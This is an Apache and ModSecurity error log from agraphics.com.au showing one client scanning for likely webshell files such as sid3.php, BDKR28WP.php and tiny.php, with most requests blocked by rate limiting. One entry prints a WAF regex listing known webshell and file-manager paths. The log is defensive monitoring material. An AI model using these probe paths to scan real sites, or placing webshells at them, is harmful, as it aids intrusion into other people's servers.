[Wed May 20 23:17:49.032715 2026] [:error] [pid 41277:tid 41302] [client 20.206.75.25:33219] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "ag3QnbTTCltJmboB5ucTZAAAABQ"]
[Wed May 20 23:17:54.328197 2026] [:error] [pid 44059:tid 44081] [client 20.206.75.25:1708] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "ag3QohfFs-oSOOcyjyxD5wAAARQ"]
[Wed May 20 23:18:01.590502 2026] [:error] [pid 7731:tid 7744] [client 20.206.75.25:2238] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "ag3QqX9qQlHXbkl2nEtCUwAAAYs"]
[Wed May 20 23:18:07.108069 2026] [:error] [pid 44059:tid 44066] [client 20.206.75.25:1782] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "ag3QrxfFs-oSOOcyjyxD9AAAAQU"]
[Wed May 20 23:18:10.264766 2026] [:error] [pid 44059:tid 44070] [client 20.206.75.25:14676] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "ag3QshfFs-oSOOcyjyxD-AAAAQk"]
[Wed May 20 23:18:13.117843 2026] [:error] [pid 41279:tid 41345] [client 20.206.75.25:2311] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "ag3QtbEFyfaehGZbt4yuSwAAAMk"]
[Wed May 20 23:18:17.145293 2026] [proxy_fcgi:error] [pid 7731:tid 7748] [client 20.206.75.25:1668] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:18:17.464083 2026] [proxy_fcgi:error] [pid 7731:tid 7740] [client 20.206.75.25:1668] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:18:17.780295 2026] [proxy_fcgi:error] [pid 7731:tid 7739] [client 20.206.75.25:1668] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:18:18.108117 2026] [proxy_fcgi:error] [pid 7731:tid 7737] [client 20.206.75.25:1668] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:18:18.438465 2026] [proxy_fcgi:error] [pid 7731:tid 7734] [client 20.206.75.25:1668] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:18:18.763090 2026] [proxy_fcgi:error] [pid 7731:tid 7743] [client 20.206.75.25:1668] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:18:19.080403 2026] [proxy_fcgi:error] [pid 7731:tid 7747] [client 20.206.75.25:1668] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:18:19.423858 2026] [proxy_fcgi:error] [pid 7731:tid 7749] [client 20.206.75.25:1668] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:18:19.745363 2026] [proxy_fcgi:error] [pid 7731:tid 7754] [client 20.206.75.25:1668] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:18:20.122581 2026] [proxy_fcgi:error] [pid 7731:tid 7753] [client 20.206.75.25:1668] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:18:20.442493 2026] [proxy_fcgi:error] [pid 7731:tid 7757] [client 20.206.75.25:1668] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:18:20.757069 2026] [:error] [pid 7731:tid 7748] [client 20.206.75.25:1668] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "ag3QvH9qQlHXbkl2nEtCcwAAAY8"]
[Wed May 20 23:18:26.397559 2026] [:error] [pid 7731:tid 7741] [client 20.206.75.25:1925] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "ag3Qwn9qQlHXbkl2nEtCfAAAAYg"]
[Wed May 20 23:18:30.473571 2026] [:error] [pid 7731:tid 7755] [client 20.206.75.25:1724] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "ag3Qxn9qQlHXbkl2nEtCgQAAAZY"]
[Wed May 20 23:18:36.021069 2026] [:error] [pid 41277:tid 41294] [client 20.206.75.25:1959] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "ag3QzLTTCltJmboB5ucTewAAAAw"]
[Wed May 20 23:18:39.314712 2026] [:error] [pid 41364:tid 41375] [client 20.206.75.25:1779] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "ag3QzxKTmyvxtNXrN-j__AAAAIk"]
[Wed May 20 23:18:42.433828 2026] [:error] [pid 7731:tid 7751] [client 20.206.75.25:1769] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "ag3Q0n9qQlHXbkl2nEtClwAAAZI"]
[Wed May 20 23:18:45.290985 2026] [:error] [pid 41364:tid 41386] [client 20.206.75.25:31965] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "ag3Q1RKTmyvxtNXrN-gAIAAAAJQ"]
[Wed May 20 23:18:50.319902 2026] [:error] [pid 7731:tid 7741] [client 20.206.75.25:33458] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sid3.php"] [unique_id "ag3Q2n9qQlHXbkl2nEtCqAAAAYg"]
[Wed May 20 23:18:58.995618 2026] [:error] [pid 41364:tid 41376] [client 20.206.75.25:31881] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/load.php"] [unique_id "ag3Q4hKTmyvxtNXrN-gAQwAAAIo"]
[Wed May 20 23:19:04.746305 2026] [:error] [pid 7731:tid 7734] [client 20.206.75.25:33103] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/load.php"] [unique_id "ag3Q6H9qQlHXbkl2nEtCsQAAAYE"]
[Wed May 20 23:19:05.928144 2026] [:error] [pid 41279:tid 41347] [client 20.206.75.25:28995] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "ag3Q6bEFyfaehGZbt4yuXgAAAMs"]
[Wed May 20 23:19:07.410187 2026] [:error] [pid 41277:tid 41304] [client 20.206.75.25:18564] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "ag3Q67TTCltJmboB5ucTkgAAABY"]
[Wed May 20 23:19:11.714599 2026] [:error] [pid 41364:tid 41366] [client 20.206.75.25:33523] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "ag3Q7xKTmyvxtNXrN-gAVwAAAIA"]
[Wed May 20 23:19:15.342162 2026] [:error] [pid 7664:tid 7670] [client 20.206.75.25:33977] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "ag3Q83Z8s7o3eiqT2kscSQAAAUM"]
[Wed May 20 23:19:21.825147 2026] [proxy_fcgi:error] [pid 41278:tid 41333] [client 20.206.75.25:3017] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:19:22.492539 2026] [proxy_fcgi:error] [pid 41278:tid 41321] [client 20.206.75.25:3017] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:19:22.815094 2026] [proxy_fcgi:error] [pid 41278:tid 41331] [client 20.206.75.25:3017] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:19:23.140599 2026] [proxy_fcgi:error] [pid 41278:tid 41311] [client 20.206.75.25:3017] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:19:23.469213 2026] [proxy_fcgi:error] [pid 41278:tid 41327] [client 20.206.75.25:3017] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:19:23.853525 2026] [proxy_fcgi:error] [pid 41278:tid 41326] [client 20.206.75.25:3017] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:19:24.185278 2026] [proxy_fcgi:error] [pid 41278:tid 41325] [client 20.206.75.25:3017] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:19:24.534929 2026] [proxy_fcgi:error] [pid 41278:tid 41318] [client 20.206.75.25:3017] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:19:24.869273 2026] [proxy_fcgi:error] [pid 41278:tid 41315] [client 20.206.75.25:3017] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:19:25.185644 2026] [proxy_fcgi:error] [pid 41278:tid 41330] [client 20.206.75.25:3017] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:19:25.533343 2026] [:error] [pid 41278:tid 41320] [client 20.206.75.25:3017] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bc.php"] [unique_id "ag3Q_fWiNKASEfiGdwbJ9gAAAEs"]
[Wed May 20 23:19:35.011434 2026] [:error] [pid 41279:tid 41353] [client 20.206.75.25:2099] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bc.php"] [unique_id "ag3RB7EFyfaehGZbt4yueAAAANE"]
[Wed May 20 23:19:51.772339 2026] [:error] [pid 44059:tid 44061] [client 20.206.75.25:14242] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "ag3RFxfFs-oSOOcyjyxEMwAAAQA"]
[Wed May 20 23:19:58.060872 2026] [:error] [pid 41278:tid 41325] [client 20.206.75.25:34038] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "ag3RHvWiNKASEfiGdwbJ-wAAAFA"]
[Wed May 20 23:20:02.566108 2026] [:error] [pid 44059:tid 44082] [client 20.206.75.25:33984] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "ag3RIhfFs-oSOOcyjyxEOAAAARU"]
[Wed May 20 23:20:05.470940 2026] [:error] [pid 41364:tid 41383] [client 20.206.75.25:34017] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/casp1.php"] [unique_id "ag3RJRKTmyvxtNXrN-gAoQAAAJE"]
[Wed May 20 23:20:12.339568 2026] [:error] [pid 44059:tid 44076] [client 20.206.75.25:14222] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/casp1.php"] [unique_id "ag3RLBfFs-oSOOcyjyxESAAAAQ8"]
[Wed May 20 23:20:15.534953 2026] [:error] [pid 41278:tid 41313] [client 20.206.75.25:11505] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/casp1.php"] [unique_id "ag3RL_WiNKASEfiGdwbKCAAAAEQ"]
[Wed May 20 23:20:25.617746 2026] [proxy_fcgi:error] [pid 44059:tid 44075] [client 20.206.75.25:32671] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:20:25.976117 2026] [proxy_fcgi:error] [pid 44059:tid 44066] [client 20.206.75.25:32671] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:20:26.325740 2026] [proxy_fcgi:error] [pid 44059:tid 44062] [client 20.206.75.25:32671] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:20:26.723714 2026] [proxy_fcgi:error] [pid 44059:tid 44085] [client 20.206.75.25:32671] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:20:27.115531 2026] [proxy_fcgi:error] [pid 44059:tid 44068] [client 20.206.75.25:32671] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:20:27.504803 2026] [proxy_fcgi:error] [pid 44059:tid 44079] [client 20.206.75.25:32671] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:20:27.868320 2026] [proxy_fcgi:error] [pid 44059:tid 44070] [client 20.206.75.25:32671] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:20:28.232033 2026] [proxy_fcgi:error] [pid 44059:tid 44081] [client 20.206.75.25:32671] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:20:28.598873 2026] [proxy_fcgi:error] [pid 44059:tid 44078] [client 20.206.75.25:32671] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:20:28.928960 2026] [proxy_fcgi:error] [pid 44059:tid 44067] [client 20.206.75.25:32671] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:20:29.294360 2026] [proxy_fcgi:error] [pid 44059:tid 44071] [client 20.206.75.25:32671] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:20:29.630015 2026] [:error] [pid 44059:tid 44080] [client 20.206.75.25:32671] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "ag3RPRfFs-oSOOcyjyxEXAAAARM"]
[Wed May 20 23:20:43.876936 2026] [:error] [pid 41364:tid 41369] [client 20.206.75.25:34968] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BDKR28WP.php"] [unique_id "ag3RSxKTmyvxtNXrN-gA4wAAAIM"]
[Wed May 20 23:20:59.511596 2026] [:error] [pid 7731:tid 7743] [client 20.206.75.25:14473] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "ag3RW39qQlHXbkl2nEtDVwAAAYo"]
[Wed May 20 23:21:05.104435 2026] [:error] [pid 41364:tid 41379] [client 20.206.75.25:14490] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d.php"] [unique_id "ag3RYRKTmyvxtNXrN-gA8AAAAI0"]
[Wed May 20 23:21:12.316654 2026] [:error] [pid 41364:tid 41380] [client 20.206.75.25:33021] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d.php"] [unique_id "ag3RaBKTmyvxtNXrN-gA-AAAAI4"]
[Wed May 20 23:21:13.649589 2026] [:error] [pid 41278:tid 41309] [client 20.206.75.25:14509] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d.php"] [unique_id "ag3RafWiNKASEfiGdwbKKwAAAEA"]
[Wed May 20 23:22:24.674265 2026] [proxy_fcgi:error] [pid 41278:tid 41325] [client 20.206.75.25:11422] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:22:24.989738 2026] [proxy_fcgi:error] [pid 41278:tid 41320] [client 20.206.75.25:11422] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:22:25.311642 2026] [proxy_fcgi:error] [pid 41278:tid 41310] [client 20.206.75.25:11422] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:22:25.655979 2026] [proxy_fcgi:error] [pid 41278:tid 41328] [client 20.206.75.25:11422] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:22:26.044545 2026] [proxy_fcgi:error] [pid 41278:tid 41319] [client 20.206.75.25:11422] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:22:26.387603 2026] [:error] [pid 41278:tid 41314] [client 20.206.75.25:11422] [client 20.206.75.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "ag3RsvWiNKASEfiGdwbKUQAAAEU"]
[Wed May 20 23:23:00.026972 2026] [proxy_fcgi:error] [pid 41364:tid 41386] [client 20.206.75.25:2223] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:23:00.375569 2026] [proxy_fcgi:error] [pid 41364:tid 41381] [client 20.206.75.25:2223] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:23:00.692851 2026] [proxy_fcgi:error] [pid 41364:tid 41377] [client 20.206.75.25:2223] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:23:01.025216 2026] [proxy_fcgi:error] [pid 41364:tid 41371] [client 20.206.75.25:2223] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:23:01.390899 2026] [proxy_fcgi:error] [pid 41364:tid 41372] [client 20.206.75.25:2223] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:23:01.730880 2026] [proxy_fcgi:error] [pid 41364:tid 41390] [client 20.206.75.25:2223] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:23:02.092623 2026] [:error] [pid 41364:tid 41387] [client 20.206.75.25:2223] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ag3R1hKTmyvxtNXrN-gBnwAAAJU"]
[Wed May 20 23:23:12.533348 2026] [:error] [pid 41364:tid 41385] [client 20.206.75.25:33451] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ag3R4BKTmyvxtNXrN-gBrwAAAJM"]
[Wed May 20 23:23:16.203346 2026] [:error] [pid 41278:tid 41320] [client 20.206.75.25:1729] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ag3R5PWiNKASEfiGdwbKZwAAAEs"]
[Wed May 20 23:23:20.298394 2026] [:error] [pid 41277:tid 41288] [client 20.206.75.25:33116] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "ag3R6LTTCltJmboB5ucT8AAAAAY"]
[Wed May 20 23:23:25.832402 2026] [:error] [pid 7731:tid 7736] [client 20.206.75.25:2462] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/7.php"] [unique_id "ag3R7X9qQlHXbkl2nEtEHgAAAYM"]
[Wed May 20 23:23:38.568209 2026] [:error] [pid 41364:tid 41370] [client 20.206.75.25:31930] [client 20.206.75.25] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pp.php"] [unique_id "ag3R-hKTmyvxtNXrN-gB1QAAAIQ"]
[Wed May 20 23:24:14.454651 2026] [proxy_fcgi:error] [pid 41279:tid 41354] [client 20.206.75.25:29019] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:24:15.916458 2026] [proxy_fcgi:error] [pid 41279:tid 41355] [client 20.206.75.25:29019] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:24:16.261654 2026] [proxy_fcgi:error] [pid 41279:tid 41340] [client 20.206.75.25:29019] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:24:16.578684 2026] [proxy_fcgi:error] [pid 41279:tid 41342] [client 20.206.75.25:29019] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:24:16.918313 2026] [proxy_fcgi:error] [pid 41279:tid 41359] [client 20.206.75.25:29019] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:24:17.231391 2026] [proxy_fcgi:error] [pid 41279:tid 41349] [client 20.206.75.25:29019] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:24:19.738442 2026] [proxy_fcgi:error] [pid 41279:tid 41343] [client 20.206.75.25:29019] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:24:20.864303 2026] [proxy_fcgi:error] [pid 41279:tid 41354] [client 20.206.75.25:29019] AH01071: Got error 'Primary script unknown'
[Wed May 20 23:24:21.216131 2026] [proxy_fcgi:error] [pid 41279:tid 41336] [client 20.206.75.25:29019] AH01071: Got error 'Primary script unknown'
